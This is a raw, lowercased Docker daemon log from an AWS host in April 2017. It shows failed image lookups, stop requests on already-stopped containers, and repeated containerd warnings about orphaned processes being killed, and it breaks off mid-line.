2017-04-27t13:18:50.192238899z\  level=error msg=\ handler for get /v1.24/images/quay.io/coreos/flannel:v0.7.0/json returned error: no such image: quay.io/coreos/flannel:v0.7.0\ \r apr 27 13:19:35 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:19:35.124850382z\  level=error msg=\ handler for get /v1.24/images/gcr.io/kubernetes-helm/tiller:v2.2.2/json returned error: no such image: gcr.io/kubernetes-helm/tiller:v2.2.2\ \r apr 27 13:19:40 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:19:40.973524647z\  level=error msg=\ handler for get /v1.24/images/gcr.io/google_containers/heapster:v1.2.0/json returned error: no such image: gcr.io/google_containers/heapster:v1.2.0\ \r apr 27 13:19:43 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:19:43.633595563z\  level=error msg=\ handler for get /v1.24/images/nginx:1.8/json returned error: no such image: nginx:1.8\ \r apr 27 13:19:50 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:19:50.652947646z\  level=error msg=\ handler for get /v1.24/images/gcr.io/google_containers/addon-resizer:1.6/json returned error: no such image: gcr.io/google_containers/addon-resizer:1.6\ \r apr 27 13:19:52 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:19:52.005768799z\  level=error msg=\ handler for get /v1.24/images/datadog/docker-dd-agent:11.0.5120/json returned error: no such image: datadog/docker-dd-agent:11.0.5120\ \r apr 27 13:20:01 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:20:01.350598238z\  level=error msg=\ handler for get /v1.24/images/ruby:2.4/json returned error: no such image: ruby:2.4\ \r apr 27 13:20:09 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:20:09.770357132z\  level=error msg=\ handler for post /v1.24/containers/3348fa85572d8446fd9a738ade1d0d58fd9230002c88d40d9bc7d5c26b118d53/stop returned error: container 3348fa85572d8446fd9a738ade1d0d58fd9230002c88d40d9bc7d5c26b118d53 is already stopped\ \r apr 27 13:20:09 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:20:09.770797701z\  level=error msg=\ handler for post /v1.24/containers/524b70f2cafef01e344acc653af2264e7f005fd26ccd7106bfdfaa85fc34ea56/stop returned error: container 524b70f2cafef01e344acc653af2264e7f005fd26ccd7106bfdfaa85fc34ea56 is already stopped\ \r apr 27 13:20:09 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:20:09.780335323z\  level=error msg=\ handler for post /v1.24/containers/632af43a49fe93016da18014c366ea0a83d1ce73a85c7d0fb3e1d82fcd12de1a/stop returned error: container 632af43a49fe93016da18014c366ea0a83d1ce73a85c7d0fb3e1d82fcd12de1a is already stopped\ \r apr 27 13:20:59 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:20:59.348499218z\  level=error msg=\ handler for get /v1.24/images/java:7/json returned error: no such image: java:7\ \r apr 27 13:21:07 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:21:07.830995648z\  level=error msg=\ handler for get /v1.24/containers/d97f724ce2ca4c2005663dd506f02b36a112080c37d88e3081493ff14adb9c16/json returned error: no such container: d97f724ce2ca4c2005663dd506f02b36a112080c37d88e3081493ff14adb9c16\ \r apr 27 13:21:07 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:21:07.985625868z\  level=error msg=\ handler for get /v1.24/containers/3348fa85572d8446fd9a738ade1d0d58fd9230002c88d40d9bc7d5c26b118d53/json returned error: no such container: 3348fa85572d8446fd9a738ade1d0d58fd9230002c88d40d9bc7d5c26b118d53\ \r apr 27 13:21:08 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:21:08.719849088z\  level=error msg=\ handler for get /v1.24/containers/632af43a49fe93016da18014c366ea0a83d1ce73a85c7d0fb3e1d82fcd12de1a/json returned error: no such container: 632af43a49fe93016da18014c366ea0a83d1ce73a85c7d0fb3e1d82fcd12de1a\ \r apr 27 13:21:08 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:21:08.722258941z\  level=error msg=\ handler for get /v1.24/containers/6d9a0fe2f099990957b744cbfe45fe1a0867bf94894fbd4120550a18fe517118/json returned error: no such container: 6d9a0fe2f099990957b744cbfe45fe1a0867bf94894fbd4120550a18fe517118\ \r apr 27 13:21:08 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:21:08.724495918z\  level=error msg=\ handler for get /v1.24/containers/524b70f2cafef01e344acc653af2264e7f005fd26ccd7106bfdfaa85fc34ea56/json returned error: no such container: 524b70f2cafef01e344acc653af2264e7f005fd26ccd7106bfdfaa85fc34ea56\ \r apr 27 13:21:25 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:21:25.130706831z\  level=error msg=\ handler for get /v1.24/images/mongo:2.8/json returned error: no such image: mongo:2.8\ \r apr 27 13:21:39 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:21:39.895688897z\  level=error msg=\ handler for get /v1.24/images/mysql:latest/json returned error: no such image: mysql:latest\ \r apr 27 13:21:55 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:21:55.991766178z\  level=error msg=\ handler for get /v1.24/images/memcached:latest/json returned error: no such image: memcached:latest\ \r apr 27 13:22:03 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:22:03.227516030z\  level=error msg=\ handler for get /v1.24/images/ruby:2.3/json returned error: no such image: ruby:2.3\ \r apr 27 13:22:13 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:22:13.081454463z\  level=error msg=\ handler for get /v1.24/images/alpine:3.2/json returned error: no such image: alpine:3.2\ \r apr 27 13:22:16 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:22:16.832377727z\  level=error msg=\ handler for get /v1.24/images/node:4.2/json returned error: no such image: node:4.2\ \r apr 27 13:22:47 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:22:47.581943392z\  level=error msg=\ handler for get /v1.24/images/python:2.7/json returned error: no such image: python:2.7\ \r apr 27 13:22:58 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:22:58.600775315z\  level=error msg=\ handler for get /v1.24/images/elasticsearch:1.5/json returned error: no such image: elasticsearch:1.5\ \r apr 27 13:23:18 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:23:18.314556683z\  level=error msg=\ handler for get /v1.24/images/deangiberson/aws-dynamodb-local:latest/json returned error: no such image: deangiberson/aws-dynamodb-local:latest\ \r apr 27 13:23:35 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:23:35.586775594z\  level=error msg=\ handler for get /v1.24/images/zolweb/docker-mailcatcher:latest/json returned error: no such image: zolweb/docker-mailcatcher:latest\ \r apr 27 13:23:48 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:23:48.020541372z\  level=error msg=\ handler for get /v1.24/images/redis:latest/json returned error: no such image: redis:latest\ \r apr 27 13:25:20 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:25:20.385556587z\  level=error msg=\ handler for get /v1.24/images/saltside/await:0.1/json returned error: no such image: saltside/await:0.1\ \r apr 27 13:25:21 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:25:21.627429688z\  level=error msg=\ handler for get /v1.24/images/saltside/notification-service:41ba3ee/json returned error: no such image: saltside/notification-service:41ba3ee\ \r apr 27 13:25:22 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:25:22.370095593z\  level=warning msg=\ containerd: unable to save 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:6aafafe2ea27c328255ab9c0400505651a783f05df9a680fbf593c80a3291e1c starttime: open /proc/7461/stat: no such file or directory\ \r apr 27 13:25:22 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:25:22.370226663z\  level=info msg=\ containerd: 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:6aafafe2ea27c328255ab9c0400505651a783f05df9a680fbf593c80a3291e1c  pid 7461  has become an orphan, killing it\ \r apr 27 13:25:34 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:25:34.112731160z\  level=error msg=\ handler for get /v1.24/images/saltside/review-service:ca4ceb3/json returned error: no such image: saltside/review-service:ca4ceb3\ \r apr 27 13:25:38 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:25:38.829058388z\  level=warning msg=\ containerd: unable to save 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:894951a66455001234d9c974bff7840648d27e946ce446041d4e96093720a25b starttime: open /proc/8013/stat: no such file or directory\ \r apr 27 13:25:38 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:25:38.82991174z\  level=info msg=\ containerd: 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:894951a66455001234d9c974bff7840648d27e946ce446041d4e96093720a25b  pid 8013  has become an orphan, killing it\ \r apr 27 13:25:48 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:25:48.819497979z\  level=warning msg=\ containerd: unable to save 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:81ff578187e96f78c79da1cfda8c61073f21e4ced05cae6af1b627e2f2ab287f starttime: open /proc/8244/stat: no such file or directory\ \r apr 27 13:25:48 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:25:48.819787311z\  level=info msg=\ containerd: 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:81ff578187e96f78c79da1cfda8c61073f21e4ced05cae6af1b627e2f2ab287f  pid 8244  has become an orphan, killing it\ \r apr 27 13:25:58 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:25:58.935663039z\  level=warning msg=\ containerd: unable to save 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:5fb627d8e823357efc9b67e27fe43d020fe82071894a97730e58780367c47b0e starttime: open /proc/8502/stat: no such file or directory\ \r apr 27 13:25:58 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:25:58.936013789z\  level=info msg=\ containerd: 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:5fb627d8e823357efc9b67e27fe43d020fe82071894a97730e58780367c47b0e  pid 8502  has become an orphan, killing it\ \r apr 27 13:26:08 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:26:08.837354983z\  level=warning msg=\ containerd: unable to save 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:a444ab9ce1a77c38cb4198d03d02fe39ca1c49b1853207632d65f138d71e2167 starttime: open /proc/8768/stat: no such file or directory\ \r apr 27 13:26:09 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:26:08.83779834z\  level=info msg=\ containerd: 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:a444ab9ce1a77c38cb4198d03d02fe39ca1c49b1853207632d65f138d71e2167  pid 8768  has become an orphan, killing it\ \r apr 27 13:26:18 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:26:18.787770944z\  level=warning msg=\ containerd: unable to save 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:433eafb96de66136da961f10df70ea0d185bce8a2387ac717c94f050f74c1813 starttime: open /proc/8906/stat: no such file or directory\ \r apr 27 13:26:18 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:26:18.7881804z\  level=info msg=\ containerd: 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:433eafb96de66136da961f10df70ea0d185bce8a2387ac717c94f050f74c1813  pid 8906  has become an orphan, killing it\ \r apr 27 13:26:18 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:26:18.839544914z\  level=warning msg=\ containerd: unable to save 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:d19ef8d9b69947514184b968f577c523370f62005efbf5077869906017cb9c6f starttime: open /proc/8946/stat: no such file or directory\ \r apr 27 13:26:18 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:26:18.839802124z\  level=info msg=\ containerd: 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:d19ef8d9b69947514184b968f577c523370f62005efbf5077869906017cb9c6f  pid 8946  has become an orphan, killing it\ \r apr 27 13:26:28 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:26:28.78739053z\  level=warning msg=\ containerd: unable to save 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:a5bf2909e06b98282cee1dbac1fa2f4413a69c183d9bc80ab163906fc56ab248 starttime: open /proc/9243/stat: no such file or directory\ \r apr 27 13:26:28 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:26:28.787978951z\  level=info msg=\ containerd: 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:a5bf2909e06b98282cee1dbac1fa2f4413a69c183d9bc80ab163906fc56ab248  pid 9243  has become an orphan, killing it\ \r apr 27 13:26:28 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:26:28.805653669z\  level=warning msg=\ containerd: unable to save 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:98a285b967b12a422c4cd8168b766d7001df40d039a3aa43f832392ecb46cb7b starttime: open /proc/9262/stat: no such file or directory\ \r apr 27 13:26:28 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:26:28.806248834z\  level=info msg=\ containerd: 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:98a285b967b12a422c4cd8168b766d7001df40d039a3aa43f832392ecb46cb7b  pid 9262  has become an orphan, killing it\ \r apr 27 13:26:38 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:26:38.855234478z\  level=warning msg=\ containerd: unable to save 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:78d260f93d472225e9dd75a23cc4872a07c874078ca0892f2ad41dac29c1a80b starttime: open /proc/9406/stat: no such file or directory\ \r apr 27 13:26:38 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:26:38.855484248z\  level=info msg=\ containerd: 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:78d260f93d472225e9dd75a23cc4872a07c874078ca0892f2ad41dac29c1a80b  pid 9406  has become an orphan, killing it\ \r apr 27 13:26:48 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:26:48.791245468z\  level=warning msg=\ containerd: unable to save 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:795aa7c558b33748dabf853dd0953e30001760eb6bf05c3bccad23dde5489175 starttime: open /proc/9536/stat: no such file or directory\ \r apr 27 13:26:48 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:26:48.791823162z\  level=info msg=\ containerd: 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:795aa7c558b33748dabf853dd0953e30001760eb6bf05c3bccad23dde5489175  pid 9536  has become an orphan, killing it\ \r apr 27 13:26:48 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:26:48.809421377z\  level=warning msg=\ containerd: unable to save 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:9a7506947c78d91d6623a823452a0d3f66f6a740e5faef166f1c5a59e901d121 starttime: open /proc/9554/stat: no such file or directory\ \r apr 27 13:26:48 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:26:48.809634333z\  level=info msg=\ containerd: 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:9a7506947c78d91d6623a823452a0d3f66f6a740e5faef166f1c5a59e901d121  pid 9554  has become an orphan, killing it\ \r apr 27 13:26:58 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:26:58.787677216z\  level=warning msg=\ containerd: unable to save 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:e4f7cc92b1876b3f6e017b79aa0d023b5376f18871d857293ead0fd523e3cb6a starttime: open /proc/9650/stat: no such file or directory\ \r apr 27 13:26:58 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:26:58.788223839z\  level=info msg=\ containerd: 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:e4f7cc92b1876b3f6e017b79aa0d023b5376f18871d857293ead0fd523e3cb6a  pid 9650  has become an orphan, killing it\ \r apr 27 13:26:58 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:26:58.820657433z\  level=warning msg=\ containerd: unable to save 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:adb19bb457c6e80454c509d4896f8e7910b768011b3e063044621a82026f6456 starttime: open /proc/9669/stat: no such file or directory\ \r apr 27 13:26:58 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:26:58.821915643z\  level=info msg=\ containerd: 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:adb19bb457c6e80454c509d4896f8e7910b768011b3e063044621a82026f6456  pid 9669  has become an orphan, killing it\ \r apr 27 13:27:08 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:27:08.803093229z\  level=warning msg=\ containerd: unable to save 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:c22cb21a4e98385ca95500d5692be36fc22e7ef60fc5dc494bcc2b69a1bcb369 starttime: open /proc/9836/stat: no such file or directory\ \r apr 27 13:27:08 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:27:08.803746627z\  level=info msg=\ containerd: 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:c22cb21a4e98385ca95500d5692be36fc22e7ef60fc5dc494bcc2b69a1bcb369  pid 9836  has become an orphan, killing it\ \r apr 27 13:27:08 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:27:08.820227142z\  level=warning msg=\ containerd: unable to save 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:5eea81e05e44ed4077a3410e4d1801672345060040cefe3825b25ccb10f37d2a starttime: open /proc/9856/stat: no such file or directory\ \r apr 27 13:27:08 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:27:08.820673841z\  level=info msg=\ containerd: 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:5eea81e05e44ed4077a3410e4d1801672345060040cefe3825b25ccb10f37d2a  pid 9856  has become an orphan, killing it\ \r apr 27 13:27:18 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:27:18.787557391z\  level=warning msg=\ containerd: unable to save 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:c4274f64e242967e1f04fe668e6f1563204d0663f8c40c2282dfabdff999930f starttime: open /proc/9923/stat: no such file or directory\ \r apr 27 13:27:18 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:27:18.788096201z\  level=info msg=\ containerd: 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:c4274f64e242967e1f04fe668e6f1563204d0663f8c40c2282dfabdff999930f  pid 9923  has become an orphan, killing it\ \r apr 27 13:27:18 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:27:18.838417106z\  level=warning msg=\ containerd: unable to save 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:42f0d937a373ee35ecd691fbf4f3a7220208b204577df41a7ba74350d51f9120 starttime: open /proc/9965/stat: no such file or directory\ \r apr 27 13:27:18 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:27:18.838638911z\  level=info msg=\ containerd: 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:42f0d937a373ee35ecd691fbf4f3a7220208b204577df41a7ba74350d51f9120  pid 9965  has become an orphan, killing it\ \r apr 27 13:27:28 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:27:28.803932983z\  level=warning msg=\ containerd: unable to save 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:c489f307223b440f1de6d544b1244c56c8f083f0a474593fca4feb6f19c40670 starttime: open /proc/10152/stat: no such file or directory\ \r apr 27 13:27:28 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:27:28.80627594z\  level=info msg=\ containerd: 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:c489f307223b440f1de6d544b1244c56c8f083f0a474593fca4feb6f19c40670  pid 10152  has become an orphan, killing it\ \r apr 27 13:27:28 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:27:28.855806647z\  level=warning msg=\ containerd: unable to save 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:fa8a5ae263483018b5a255605dc7f35f7eff48c920f20f0de2846d197a465e6d starttime: open /proc/10172/stat: no such file or directory\ \r apr 27 13:27:28 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:27:28.85815421z\  level=info msg=\ containerd: 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:fa8a5ae263483018b5a255605dc7f35f7eff48c920f20f0de2846d197a465e6d  pid 10172  has become an orphan, killing it\ \r apr 27 13:27:28 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:27:28.905768437z\  level=warning msg=\ containerd: unable to save 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:5773bf328d591829d05fe301ddcb282c88095f3d7b1ab212a0dc83160958bd33 starttime: open /proc/10191/stat: no such file or directory\ \r apr 27 13:27:28 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:27:28.905987414z\  level=info msg=\ containerd: 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:5773bf328d591829d05fe301ddcb282c88095f3d7b1ab212a0dc83160958bd33  pid 10191  has become an orphan, killing it\ \r apr 27 13:27:38 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:27:38.787506686z\  level=warning msg=\ containerd: unable to save 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:667735128c91e9609cb0843d8d18f221c72e4bd286dadd52241555a60e445055 starttime: open /proc/10259/stat: no such file or directory\ \r apr 27 13:27:38 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:27:38.78827991z\  level=info msg=\ containerd: 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:667735128c91e9609cb0843d8d18f221c72e4bd286dadd52241555a60e445055  pid 10259  has become an orphan, killing it\ \r apr 27 13:27:38 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:27:38.824141605z\  level=warning msg=\ containerd: unable to save 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:be51e50eb3f1151553d8fa2f347bd83ad614b1de04c5dd02f10e43279e95654e starttime: open /proc/10280/stat: no such file or directory\ \r apr 27 13:27:38 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:27:38.824694909z\  level=info msg=\ containerd: 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:be51e50eb3f1151553d8fa2f347bd83ad614b1de04c5dd02f10e43279e95654e  pid 10280  has become an orphan, killing it\ \r apr 27 13:27:38 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:27:38.877746482z\  level=warning msg=\ containerd: unable to save 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:475d684a4ee45213710337bc1d91fc1417508c07e581a7548e4271a784431041 starttime: open /proc/10301/stat: no such file or directory\ \r apr 27 13:27:38 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:27:38.87796176z\  level=info msg=\ containerd: 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:475d684a4ee45213710337bc1d91fc1417508c07e581a7548e4271a784431041  pid 10301  has become an orphan, killing it\ \r apr 27 13:27:48 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:27:48.787263524z\  level=warning msg=\ containerd: unable to save 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:c95a61be63a3d1584be1bd2b18a4ed6152101154b3b9f50eb87dc669acbdcd24 starttime: open /proc/10430/stat: no such file or directory\ \r apr 27 13:27:48 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:27:48.787847214z\  level=info msg=\ containerd: 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:c95a61be63a3d1584be1bd2b18a4ed6152101154b3b9f50eb87dc669acbdcd24  pid 10430  has become an orphan, killing it\ \r apr 27 13:27:48 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:27:48.838586877z\  level=warning msg=\ containerd: unable to save 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:9f3238aaa740df2cab7a36d422b71e1b41d064f2ebae43359a86a2b5abd61a4a starttime: open /proc/10471/stat: no such file or directory\ \r apr 27 13:27:48 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:27:48.839095845z\  level=info msg=\ containerd: 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:9f3238aaa740df2cab7a36d422b71e1b41d064f2ebae43359a86a2b5abd61a4a  pid 10471  has become an orphan, killing it\ \r apr 27 13:27:58 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:27:58.787690851z\  level=warning msg=\ containerd: unable to save 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:bcdad01896891d512b14a3d89ab87564bc8b8b5df5bad6662cfb6f7aa55fab1d starttime: open /proc/10533/stat: no such file or directory\ \r apr 27 13:27:58 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:27:58.788266555z\  level=info msg=\ containerd: 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:bcdad01896891d512b14a3d89ab87564bc8b8b5df5bad6662cfb6f7aa55fab1d  pid 10533  has become an orphan, killing it\ \r apr 27 13:27:58 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:27:58.804745261z\  level=warning msg=\ containerd: unable to save 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:1e03437de00d240850a40d25fb3fc94a2bea0807192d8d2a7b7ec94602cd1550 starttime: open /proc/10554/stat: no such file or directory\ \r apr 27 13:27:58 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:27:58.806394977z\  level=info msg=\ containerd: 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:1e03437de00d240850a40d25fb3fc94a2bea0807192d8d2a7b7ec94602cd1550  pid 10554  has become an orphan, killing it\ \r apr 27 13:28:08 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:28:08.787564905z\  level=warning msg=\ containerd: unable to save 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:6425f4201b616b55dce4216c1b89573c236c39eefd3f1a74ecc6018c98eaed42 starttime: open /proc/10729/stat: no such file or directory\ \r apr 27 13:28:08 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:28:08.78816523z\  level=info msg=\ containerd: 1f356cf84983dd03be7a7454a8b3ba12c7e0b31c45eb773cb65ac0c726798b21:6425f4201b616b55dce4216c1b89573c236c39eefd3f1a74ecc6018c98eaed42  pid 10729  has become an orphan, killing it\ \r apr 27 13:28:08 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:28:08.820182545z\  level=warning msg=\ containerd: unable to save 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:6722b4e3af1e790fe852f72a52adb425916f9ef59c276c07a978a9c050589f36 starttime: open /proc/10749/stat: no such file or directory\ \r apr 27 13:28:08 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:28:08.820411397z\  level=info msg=\ containerd: 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:6722b4e3af1e790fe852f72a52adb425916f9ef59c276c07a978a9c050589f36  pid 10749  has become an orphan, killing it\ \r apr 27 13:28:08 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:28:08.854213715z\  level=warning msg=\ containerd: unable to save 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:fe50fd12f218467fcf4ecf338a458f5e80592f98d45aca6e2a36edf7f522e230 starttime: open /proc/10768/stat: no such file or directory\ \r apr 27 13:28:08 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:28:08.854444486z\  level=info msg=\ containerd: 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:fe50fd12f218467fcf4ecf338a458f5e80592f98d45aca6e2a36edf7f522e230  pid 10768  has become an orphan, killing it\ \r apr 27 13:28:18 ip-172-20-52-174 dockerd 1001 : time=\ 2017-04-27t13:28:18.816064914z\  level=warning msg=\ containerd: unable to save 7f2cf2a9a7505439a799b847f3d24764c7e70f9f00f6d11c60042580d6085956:f1222356a30b5d3c803cd4acebaf3a4dfade143749ebcf369289667a6ad3e17e starttime: open 